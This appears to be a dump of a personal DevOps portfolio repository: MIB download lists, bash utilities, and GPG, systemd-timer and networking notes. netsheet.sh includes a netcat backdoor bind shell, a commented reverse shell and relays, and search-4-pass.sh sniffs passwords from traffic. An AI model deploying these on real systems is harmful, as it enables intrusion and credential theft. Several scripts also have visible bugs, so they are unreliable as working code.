wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-HW-MONITOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-IES5000-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-IESCOMMON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-IF-LOOPBACK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-IGMP-FILTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-IGMP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-IGMP-SNOOPING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-IP-FORWARD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-IPSG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-IPV6-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-IPV6-NDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-IPV6-PATH-MTU-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-IPV6-SNOOPING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-IPV6-STATIC-ROUTE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-IPv6SG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-L2-IP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-L2PT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-L3-IP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-LAG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-LEGACY-PRIVATE-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-LLDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-LOAD-SHARING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-LOOPGUARD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-MAC-AUTHENTICATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-MAC-BASED-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-MAC-FILTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-MAC-PINNING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-MES3500-24-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-MES3500-24F-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-MGS360024F-FUNCTION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-MGS370012C-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-MIRROR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-MLD-SNOOPING-PROXY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-MRSTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-MSTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-MULTICAST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-MVR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-NWA-SERIES-v1-4-2.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-NWA-SERIES.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-OAM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-OSPF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-OUT-OF-BAND-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-POLICY-ROUTE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-PORT-AUTHENTICATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-PORT-BASED-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-PORT-ISOLATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-PORT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-PORT-SECURITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-POWER-ETHERNET-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-PPPoE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-PRIVATE-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-PROTOCOL-BASED-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-PROWIRELESS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-QUEUING-METHOD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-RADIUS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-RATE-LIMIT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-REMOTE-PORT-MIRROR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-RIP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-SAM1216.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-SESCOMMON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-SFLOW-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-SNMP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-STACKING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-STATIC-ROUTE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-STORM-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-STP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-SUBNET-BASED-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-SYS-MEMORY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-SYSLOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-SYSTEM-MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-SYSTEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-TACACS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-TIME-RANGE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-TRANSCEIVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-TRTCM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-VDSLLINE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-VLAN-COUNTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-VLAN-MAPPING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-VLAN-STACK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-VLAN-TRUNK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-VOICE-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-VRRP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-XGS360026F-FUNCTION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-XGS360028F-FUNCTION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-XGS4700-48F-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-ZULD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-ZYWALL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-ZYWALL-ZLD-COMMON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-ZYWALLIDP10-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-accessSwitch-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-gs2200-8hp-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-ves1608FE57-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZYXEL-xs3900-48F-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/Zhone-CPE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/Zhone-GPON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/Zhone-PTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/Zhone-TC.mib
wget http://www.circitor.fr/Mibs/Mib/Z/Zhone-VOICE-ANALOG-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/Zhone.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZhoneAAL2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZhoneAPON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZhoneDsl-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZhoneGR303-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZhoneMasterAgent-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZhoneProductRegistrations.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZhoneV52-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZhoneVdsl-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/Z/ZyXEL-COE-MIB.mib
<file_sep>/README.md
# DevOps-Portfolio
Tools and notes related to managing systems and services
<file_sep>/scripting/bash/lsof_network
#!/usr/bin/bash
lsof -nPi | cut -f 1 -d " " | uniq | tail -n +2
<file_sep>/programming/python/friday-13.py
#!/usr/bin/python2
# taken from https://github.com/anayi89/DevOps-Portfolio/Programming/Python
from datetime import datetime
friYear = int(input("Enter a year: "))
for i in range(1, 12, +1):
friDate = datetime(friYear,i,13)
if friDate.strftime("%A") == "Friday":
print(friDate.strftime("%B"))
<file_sep>/scripting/bash/live-triage.sh
#!/bin/sh -
# live triage linux #
# 2018; kegn #
get_system_info() {
uname -a
uptime
timedatectl
mount
}
get_user_info() {
printf "\n --------------------- \n"
printf "\n --------------------- \n"
printf "\n Logged in Users: \n"
printf "\n --------------------- \n"
w
printf "\n --------------------- \n"
printf "\n --------------------- \n"
printf "\n Remote Login Existence\n"
printf "\n --------------------- \n"
lastlog
last
printf "\n --------------------- \n"
printf "\n --------------------- \n"
printf "\n View Failed Logins \n"
printf "\n --------------------- \n"
faillog -a
printf "\n --------------------- \n"
printf "\n --------------------- \n"
}
get_system_info
get_user_info
<file_sep>/scripting/bash/nmap/pingsweep
#!/usr/bin/bash
nmap -sn -PE $1
<file_sep>/scripting/bash/mac_lookup.sh
#!/usr/bin/bash
OUI=$(echo ${1//[:.- ]/} | tr "[a-f]" "[A-F]" | egrep -o "^[0-9A-F]{6}")
grep $OUI ~/.oui.txt
<file_sep>/notes/markdown/ansible-intro.md
# ansible - run a task on target host(s)
- simple framework for doing remote things
- command
- ansible <host-pattern> [-m module_name] [-a args] [options]
- args
- name of group in inventory, glob selecting hosts, or both, all seperated by commas
- /etc/ansible/hosts - default inventory
- /usr/share/ansible - default module library
- etc/ansible/ansible.cfg - config file, used if present
- ~/.ansible.cfg - user config, overrides default
<file_sep>/scripting/bash/get_new_oui.sh
#!/usr/bin/bash
# downloads new oui file from ieee into $HOME/.oui.txt
cd $HOME
wget -O .oui.txt http://standards-oui.ieee.org/oui/oui.txt
cd -
<file_sep>/scripting/bash/nmap/openports
#!/usr/bin/bash
# accepts address or cidr
nmap --open $1
<file_sep>/utilities/gpg-wrapper-clear.sh
#!/bin/bash
[ $# -lt 1 -o $# -gt 2 ] && {
echo usage: `basename $0` '<recipient>' '[file]' 1>&2
exit 0
}
[ $# -eq 1 ] && {
echo reading from stdin, exit with '^D'
FILE=-
}
ptek() {
# p.iotek.org is a simple pastebin service
#limited to 12MB in size. anything over 100KiB delete in 72 hr
# unser 100KiB, 2 weeks then delete
gpg -ae -o- -r $1 $FILE | curl -sLT- https://p.iotek.org
}
<file_sep>/scripting/bash/do_cent7.sh
#!/bin/bash
## -----------------------------##
## initial config:
## centos 7_x64
## digitalocean vps
##
## kegn
## -----------------------------##
# enter username
username="k"
# ssh public key
ssh_key="keydata..."
# ------------------------------ #
# ------------------------------ #
gen_password() {
# uses /dev/urandom for password generation
local l=$1
[ "$l" == "" ] && l=16
tr -dcd A-Za-z0-9_ < /dev/urandom | head -c ${l} | xargs
#!:: where does scope of var end? is the 'random' pass still hanging out somewhere?
}
newuser() {
useradd -m $username
passwurd=$(gen_password 16)
echo $username:$passwurd | chgpasswd
mkdir -p /home/$username/.ssh
printf "\n$ssh_key" >> /home/$username/.ssh/authorized_keys && chmod /home/$username/.ssh 700 && chmod /home/$username/.ssh/authorized_keys 600
}
deroot_ssh() {
# sed and back it up
sed -i.bak '/^PermitRootLogin[ \t]\+\w\+$/{ s//PermitRootLogin no/g; }' /etc/ssh/sshd_config
# reload ssh
systemctl reload sshd
}
firewall() {
if [ -f /usr/bin/firewalld]; then
systemctl start firewalld
# whitelist necessary services
firewall-cmd --permanent --add-service=ssh
sudo firewall-cmd --permanent --add-service=http
sudo firewall-cmd --permanent --add-service=https
sudo firewall-cmd --permanent --add-service=smtp
sudo firewall-cmd --permanent --list-all
sudo firewall-cmd --permanent --list-all >> ~/.kegnlogs/firewall-log-setup.txt
sudo systemctl enable firewalld
else
sudo yum -y install firewalld #install firewalld
printf "needed to install firewall-cmd / firewalld. please restart"
fi
}
install_ntp() {
sudo yum -y install ntp
sudo systemctl start ntpd && sudo systemctl enable ntpd
}
add_swap() {
# digital ocean recommends 4GB swap
sudo fallocate -l $1M /swap
# Make invisible to other users
sudo chmod 600 /swap
sudo mkswap /swap
sudo swapon /swap
sudo sh -c 'echo "/swap none swap sw 0 0" >> /etc/fstab'
}
harden_server() {
sudo yum -y install denyhosts
# look at /etc/denyhosts.conf,
# some peeps set BLOCK_SERVICE = ALL
sleep 3
service denyhosts restart
}
## main loop ##
newuser
deroot_ssh
firewall
install_ntp
add_swap 4096
harden_server
<file_sep>/utilities/tools.sh
#!/usr/bin/bash
# author - kegn
# a set of utilities
# usage : source tools.sh
# searches for all caps in a file
grap() {
grep -E '\b[[:upper:]]+\b' $*
}
# search for a gpg/pgp key
gpgscan() {
echo $* | xargs gpg --keyserver pgp.mit.edu --search-keys
}
# while readline do;
# usage wrl command testfile
wrl() {
while IFS='' read -r line || [[ -n "$line" ]]; do
$1 $line
done < "$2"
}
# - - -
# the following are perl one-liners as bash functions
# - - -
# print all capitalized words
print_caps() {
perl -ne 'push@w,/(\b[A-Z]\S*?\b)/g;END{print"@w"}' $@
}
# print lines between $1 and $2 of $file
print_between() {
file=$3
perl -ne "print if $1 .. $2" $file
}
# delete the first n lines of file
choptop() {
linestop=$1
perl -i.old -ne "print unless 1 .. $linestop" $2
}
# increment all numbers found in files
increment_all_nums() {
perl i.tiny -pe 's/(\d+)/ 1 + $1 /ge' $@
}
<file_sep>/notes/markdown/some-more-gpg.md
##################################################################
taken from: http://irtfweb.ifa.hawaii.edu/~lockhart/gpg/
# - - - - - - - -
I've used User Name as being the name associated with
the key. Sorry that isn't very imaginative. I *think*
gpg is pretty wide in it's user assignments, ie. the
name for my private key is <NAME>, but I can
reference that by just putting in Lockhart. That doesn't
make any sense, sorry.
to create a key:
gpg --gen-key
generally you can select the defaults.
to export a public key into file public.key:
gpg --export -a "User Name" > public.key
This will create a file called public.key with the ascii
representation of the public key for User Name. This is
a variation on:
gpg --export
which by itself is basically going to print out a bunch
of crap to your screen. I recommend against doing this.
gpg --export -a "User Name"
prints out the public key for User Name to the command
line, which is only semi-useful
to export a private key:
gpg --export-secret-key -a "User Name" > private.key
This will create a file called private.key with the
ascii representation of the private key for User Name.
It's pretty much like exporting a public key, but you
have to override some default protections. There's a
note (*) at the bottom explaining why you may want to do
this.
to import a public key:
gpg --import public.key
This adds the public key in the file "public.key" to
your public key ring.
to import a private key:
NOTE: I've been informed that the manpage indicates that
"this is an obsolete option and is not used anywhere."
So this may no longer work.
gpg --allow-secret-key-import --import private.key
This adds the private key in the file "private.key" to
your private key ring. There's a note (*) at the bottom
explaining why you may want to do this.
to delete a public key (from your public key ring):
gpg --delete-key "User Name"
This removes the public key from your public key ring.
NOTE! If there is a private key on your private key ring
associated with this public key, you will get an error!
You must delete your private key for this key pair from
your private key ring first.
to delete an private key (a key on your private key
ring):
gpg --delete-secret-key "User Name"
This deletes the secret key from your secret key ring.
To list the keys in your public key ring:
gpg --list-keys
To list the keys in your secret key ring:
gpg --list-secret-keys
To generate a short list of numbers that you can use via
an alternative method to verify a public key, use:
gpg --fingerprint > fingerprint
This creates the file fingerprint with your fingerprint
info.
To encrypt data, use:
gpg -e -u "Sender User Name" -r "Receiver User Name"
somefile
There are some useful options here, such as -u to
specify the secret key to be used, and -r to specify the
public key of the recipient.
As an example: gpg -e -u "<NAME>" -r "A
Friend" mydata.tar
This should create a file called "mydata.tar.gpg" that
contains the encrypted data. I think you specify the
senders username so that the recipient can verify that
the contents are from that person (using the
fingerprint?).
NOTE!: mydata.tar is not removed, you end up with two
files, so if you want to have only the encrypted file in
existance, you probably have to delete mydata.tar
yourself.
An interesting side note, I encrypted the preemptive
kernel patch, a file of 55,247 bytes, and ended up with
an encrypted file of 15,276 bytes.
To decrypt data, use:
gpg -d mydata.tar.gpg
If you have multiple secret keys, it'll choose the
correct one, or output an error if the correct one
doesn't exist. You'll be prompted to enter your
passphrase. Afterwards there will exist the file
"mydata.tar", and the encrypted "original,"
mydata.tar.gpg.
NOTE: when I originally wrote this cheat sheet, that's
how it worked on my system, however it looks now like
"gpg -d mydata.tar.gpg" dumps the file contents to
standard output. The working alternative (worked on my
system, anyway) would be to use "gpg -o outputfile -d
encryptedfile.gpg", or using mydata.tar.gpg as an
example, I'd run "gpg -o mydata.tar -d mydata.tar.gpg".
Alternatively you could run something like "gpg -d
mydata.tar.gpg > mydata.tar" and just push the output
into a file. Seemed to work either way.
Ok, so what if you're a paranoid bastard and want to
encrypt some of your own files, so nobody can break into
your computer and get them? Simply encrypt them using
yourself as the recipient.
I haven't used the commands:
gpg --edit-key
gpg --gen-revoke
--gen-revoke creates a revocation certificate, which
when distributed to people and keyservers tells them
that your key is no longer valid, see
http://www.gnupg.org/gph/en/manual/r721.html
--edit-key allows you do do an assortment of key tasks,
see http://www.gnupg.org/gph/en/manual/r899.html
##################################################################
<file_sep>/notes/markdown/user-cron-replacement-via-systemd.md
user cron replacement via systemd
https://wiki.gentoo.org/wiki/Systemd#Timer_services
i
~/.local/share/systemd/user/backup-work.timerExample of a timer running every working day
---
[Unit]
Description=daily backup work
RefuseManualStart=no
RefuseManualStop=no
[Timer]
Persistent=false
OnCalendar=Mon-Fri *-*-* 11:30:00
Unit=backup-work.service
[Install]
WantedBy=default.target
~/.local/share/systemd/user/backup-work.serviceExample of a service triggering backup
[Unit]
Description=daily backup work
RefuseManualStart=no
RefuseManualStop=yes
[Service]
Type=oneshot
ExecStart=/home/<user>/scripts/backup-work.sh
<file_sep>/utilities/netsheet.sh
#!/bin/sh -
# tcp and netcat overlay
setup_netcat_relay() {
# make a named fifo pipe
cd /tmp
mknod backpipe p
# make listen-client relay
# nc -l -p $localport 0<backpipe | nc $targetip $portnum | tee backpipe
# make listen-listen relay
# nc -l -p $localport1 0<backpipe | nc -l p $localport2 | tee backpipe
# make client-client relay
# nc $previousip_hop $portnum 0<backpipe | nc $nextip_hop $portnum2 | tee backpipe
}
tcp_banner_grab() {
targ_ip=$1
start_port=20
stop_port=100
echo "" | nc -v -n -r -w1 $targ_ip $start_port-$stop_port
}
back_shell_listen() {
# backdoor shell
localport=$1
nc -l -p $localport -e /bin/sh -
}
#back_shell_windows() {
# # C:>
# # nc -l -p $localport -e cmd.exe
#}
#reverse_back_shellnix() {
# nc $localip $portnum -e /bin/sh -
#}
netcat_push_client_to_listen() {
localport=$1
outfile=$2
targetip=$3
portnum=$4
infile=$5
nc -l -p $localport > $outfile
nc -w3 $targetip $portnum < $infile
}
netcat_pull_listen_back_to_client() {
localport=$1
infile=$2
targetip=$3
portnum=$4
outfile=$5
nc -l -p $localport < $infile
nc -w3 $targetip $portnum > $outfile
}
nc_portscan(){
# usage nc_portscan $ip $startport-$endport
nc -v -n -r -z -w1 $1 $2-$3
}
<file_sep>/scripting/bash/world_write_files
#!/usr/bin/bash
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
<file_sep>/scripting/bash/dns-reverse-lookup.sh
#!/bin/bash
for ip in {1..254..1}|; do dig -x 1.1.1.$ip | grep $ip >> dns.txt; done
<file_sep>/notes/markdown/a-replacement-for-cron.md
# Replacing cron with systemd timers
> the following is mostly taken from [[https://wiki.archlinux.org/index.php/Systemd/Timers#Example]]
Timers are systemd unit files whose name ends in .timer that control .service files or events.
Timers have built-in support for calendar time events, monotonic time events, and can be run asynchronously.
Timers are like other unit configuration files and are loaded from the same paths but include a [Timer] section. The [Timer] section defines when and how the timer activates. Timers are defined as one of two types:
Monotonic timers activate after a time span relative to a varying starting point. (stop if machine suspended or off)
Realtime timers (a.k.a. wallclock timers) activate on a calendar event (like cronjobs). The option OnCalendar= is used to define them.
# Service units
For each .timer file, a matching .service file exists (e.g. foo.timer and foo.service). The .timer file activates and controls the .service file. The .service does not require an [Install] section as it is the timer units that are enabled. If necessary, it is possible to control a differently-named unit using the Unit= option in the timer's [Timer] section.
>> $ systemctl list-timers
>> $ systemctl list-timers --all
#Monotonic timer
A timer which will start 15 minutes after boot and again every week while the system is running.
/etc/systemd/system/foo.timer
[Unit]
Description=Run foo weekly and on boot
[Timer]
OnBootSec=15min
OnUnitActiveSec=1w
[Install]
WantedBy=timers.target
Realtime timer
A timer which starts once a week (at 12:00am on Monday). It starts once immediately if it missed the last start time (option Persistent=true), for example due to the system being powered off:
/etc/systemd/system/foo.timer
[Unit]
Description=Run foo weekly
[Timer]
OnCalendar=weekly
Persistent=true
[Install]
WantedBy=timers.target
The format controlling OnCalendar events uses the following format when more specific dates and times are required: DayOfWeek Year-Month-Day Hour:Minute:Second. An asterisk may be used to specify any value and commas may be used to list possible values. Two values separated by .. may be used to indicate a contiguous range.
OnCalendar=Mon,Tue *-*-01..04 12:00:00
Tip: Special event expressions like daily and weekly refer to specific start times and thus any timers sharing such calendar events will start simultaneously.
MAILTO
You can set up systemd to send an e-mail when a unit fails. Cron sends mail to MAILTO the job outputs to stdout or stderr, but many jobs are setup to only output on error. First you need two files: an executable for sending the mail and a .service for starting the executable. For this example, the executable is just a shell script using sendmail:
/usr/local/bin/systemd-email
#!/bin/bash
/usr/bin/sendmail -t <<ERRMAIL
To: $1
From: systemd <root@$HOSTNAME>
Subject: $2
Content-Transfer-Encoding: 8bit
Content-Type: text/plain; charset=UTF-8
$(systemctl status --full "$2")
ERRMAIL
Whatever executable you use, it should probably take at least two arguments as this shell script does: the address to send to and the unit file to get the status of. The .service we create will pass these arguments:
/etc/systemd/system/[email protected]
[Unit]
Description=status email for %i to user
[Service]
Type=oneshot
ExecStart=/usr/local/bin/systemd-email address %i
User=nobody
Group=systemd-journal
Where user is the user being emailed and address is that user's email address. Although the recipient is hard-coded, the unit file to report on is passed as an instance parameter, so this one service can send email for many other units. At this point you can start <EMAIL> to verify that you can receive the emails.
Then simply edit the service you want emails for and add OnFailure=status-email-user@%n.service to the [Unit] section. %n passes the unit's name to the template.
Note:
If you set up SSMTP security according to SSMTP#Security the user nobody will not have access to /etc/ssmtp/ssmtp.conf, and the systemctl start [email protected] command will fail. One solution is to use root as the User in the [email protected] unit.
If you try to use mail -s somelogs address in your email script, mail will fork and systemd will kill the mail process when it sees your script exit. Make the mail non-forking by doing mail -Ssendwait -s somelogs address.
<file_sep>/notes/markdown/augmented-backus-naur-form.md
In computer science, augmented Backus–Naur form (ABNF) is a metalanguage based on Backus–Naur
form (BNF), but consisting of its own syntax and derivation rules. The motive principle for ABNF
is to describe a formal system of a language to be used as a bidirectional communications
protocol. It is defined by Internet Standard 68 ("STD 68", type case sic), which as of December
2010 is RFC 5234, and it often serves as the definition language for IETF communication
protocols.[1][2]
RFC 5234 supersedes RFC 4234 (which superseded RFC 2234 and RFC 733).[3] RFC 7405 updates it,
adding a syntax for specifying case-sensitive string literals.
Terminal symbols are literal symbols which may appear in the outputs of the production rules of
a formal grammar and which cannot be changed using the rules of the grammar. Applying the rules
recursively to a source string of symbols will usually terminate in a final output string
consisting only of terminal symbols.
Consider a grammar defined by two rules. Using pictoric marks interacting each other:
The symbol ר can become ди
The symbol ר can become д
Here д is a terminal symbol because no rule exists which would change it into something else. On
the other hand, ר has two rules that can change it, thus it is nonterminal. A formal language
defined or generated by a particular grammar is the set of strings that can be produced by the
grammar and that consist only of terminal symbols.
<file_sep>/scripting/bash/tshark-routines.sh
#!/bin/sh -
echo "- - - list of network interfaces - - -"
tshark -D
echo " - - - - - - - - - - - - - - - "
echo " - - - Absolute time and date stamp - - -"
tshark -t a
echo " - - - - - - - - - - - - - - - "
echo " - - - Top Talkers by IP dst - - -"
tshark -n -c 150 | awk '{print $4}' | sort -n | uniq -c | sort -nr
echo " - - - - - - - - - - - - - - - "
<file_sep>/notes/markdown/mrtg-intro.md
# Multi Router Traffic Grapher
## a brief history
mrtg is perl script that uses snmp to read the counters. The log and graph components are implemented in c
by default, mrtg shows daily view and seven day view
## tl;dr
- written in perl
- portable snmp thx to simon leinen, also in perl
- snmpv2c support (can read 64bit counters)
- interface identification
- constant logfile size - uses data consolidation alg
- routines written in c
- no gif
- open
- hooks for rrdtool
## get some of these tools
gd - basic graph drawing lib. makes pngs. used to do gifs but unisys apparently has a patent on gif. pngs are more efficient anyway
http:///boutell.com/gd
libpng - used by gd to create graphs
http://www.libpng.org/pub/png/libpng.html
<file_sep>/scripting/bash/multiplication_table.sh
#!/usr/bin/bash
# prints multiplication table for sequence
for i in {1..10}; do {
for j in $(seq 1 $i); do {
echo -ne $i×$j=$((i*j))\\t;
} done;
echo;
} done
<file_sep>/notes/markdown/gpg-reference.md
gpg-reference
# Gnupg Quick Reference
to export a public key into **public.key** in ascii format:
```
gpg --export -a '*name*' > public.key
```
list keys in secret ring:
```
gpg --list-secret-keys
```
## encryption
to encrypt data to a recipient :
```
gpg -e -u 'sender *name*' -r 'receiverpubkey' **file-to-encrypt**
```
- -u : username of key
- -r : receiver name of *key-identifier*
----
to decrypt data :
```
gpg -d **encrypted-file** > **decrypted-file**
```
- gpg should find the secret key if you have it
## modifying keys
< -- from gnupg man pages -- >
--edit-key
Present a menu which enables you to do most of the key management related tasks.
It expects the specification of a key on the command line.
uid n Toggle selection of user ID or photographic user ID with index n. Use *
to select all and 0 to deselect all.
key n Toggle selection of subkey with index n or key ID n. Use * to select all
and 0 to deselect all.
-kegn
tags : gpg, gpg2, keys, cryptography
<file_sep>/notes/markdown/mib.md
# Management information base (MIB)
- db used for managing entities in a network
- often associated with snmp, also used more generically in contexts as in OSI/ISO Network management model
- intended to mean entire mgmt collection, usually used in context of mib-module
- db is a tree structure where each entry is addressed through an OID
## ASN.1 : Abstract Syntax Notation One
- describes data structures for:
- representing data
- encoding data
- transmitting data
- decoding data
- joint ISO and ITU-T standard
- 1984
ASN.1 is an interface description language for defining data structures that can be serialized and deserialized in a standard, cross platform way.
used in x509
ldap
x.400,x.500
kerberos
h.323 (voip)
BACnet
snmp
utms,lte,wimax2
<file_sep>/utilities/osch.sh
#!/bin/sh -
# analyze traffic remotely over ssh
analyze_traffic_over_ssh() {
USER=$1
HOST=$2
ssh $USER@$HOST tcpdump -i any -U -s 0 -w - 'not port 22'
}
manual_note_to_syslog() {
# manually add a note to syslog
logger $1
dmesg | grep <COMMENT>
}
mount_ro() {
DISK=$1
# simple read only mounting
mount -o ro /dev/$DISK /mnt
}
check_ifup() {
url=$1
# checks to see if website or file is still up
while ;; do curl -sSr http://$url | head -n 1; sleep 60; done
}
decimal_to_hex() {
# convert decimal to hex
echo "$1"|wcalc -h
}
<file_sep>/scripting/bash/search-4-pass.sh
tcpdump -n -A -s0 | grep pass
<file_sep>/notes/markdown/universal-grammar.md
Universal grammar (UG) in linguistics, is the theory of the genetic component of the language
faculty, usually credited to <NAME>. The basic postulate of UG is that a certain set of
structural rules are innate to humans, independent of sensory experience. With more linguistic
stimuli received in the course of psychological development, children then adopt specific
syntactic rules that conform to UG.[1] It is sometimes known as "mental grammar", and stands
contrasted with other "grammars", e.g. prescriptive, descriptive and pedagogical.[2][3] The
advocates of this theory emphasize and partially rely on the poverty of the stimulus (POS)
argument and the existence of some universal properties of natural human languages. However, the
latter has especially not been firmly established, as some linguists have argued languages are
so diverse that such universality is rare.[4] It is a matter of empirical investigation to
determine precisely what properties are universal and what linguistic capacities are innate.
<file_sep>/notes/svg-madness.txt
#!/bin/bash
# various utilities for making svgs
#
# =============================================
